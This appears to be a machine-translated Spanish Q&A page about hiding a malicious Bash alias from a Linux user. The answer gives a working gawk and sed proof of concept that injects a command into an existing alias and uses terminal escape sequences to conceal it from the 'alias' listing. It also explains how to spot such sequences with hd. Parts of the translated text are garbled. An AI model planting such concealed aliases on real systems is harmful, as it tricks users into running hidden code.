¿Es posible ocultar la existencia de un alias malicioso en Bash en un sistema Linux y que el usuario lo ejecute sin su conocimiento?
¿Es posible ocultar la existencia de un alias malicioso en Bash en un sistema Linux y que el usuario lo ejecute sin su conocimiento?
Respuestas:
Es posible hacerlo agregando el alias existente al malicioso y usando el movimiento del cursor para ocultarlo si el alias
comando se usa para mostrar las definiciones de alias. No es un método perfectamente infalible, pero puede pasar desapercibido por un tiempo. Tuberías alias
a través de hd
le mostrará si hay secuencias de escape (de movimiento del cursor) en sus alias. Aquí hay una prueba de concepto de cómo se puede insertar un comando malicioso en un alias:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
comando modifica un archivo llamado "alias" en su lugar: un script real de este tipo iría a la garganta y modificaría un archivo de script real para que el alias malicioso se activara la próxima vez que se ejecute.hide
como argumento, por lo que es posible que pueda obtener un error similar al que se informa en esta pregunta . Es posible revertir las partes originales y maliciosas para afectar esto, aunque esto interferiría con los argumentos que se proporcionan al alias. Se realiza un intento en el script anterior para marcar el final de los argumentos con --
.&&
, usted podría tubería de uno a otro y hacer que el script malicioso (representado anteriormente mediante el simple echo
comando) funcionan como un stdin
a stdout
paso a través ya sea para modificar los datos a medida que está pasando a través o para ocultar su existencia adicional al no interferir con otra redirecciónhide
cadena podría modificarse para incluir diferentes movimientos del cursor y el texto del alias original para que el alias
comando parezca mostrar el alias no modificado en lugar de ocultarlo junto con la parte maliciosa.. aliases
. Luego puede intentar usar el alias afectado y ver cómo se ve cuando lo hace alias|hd
.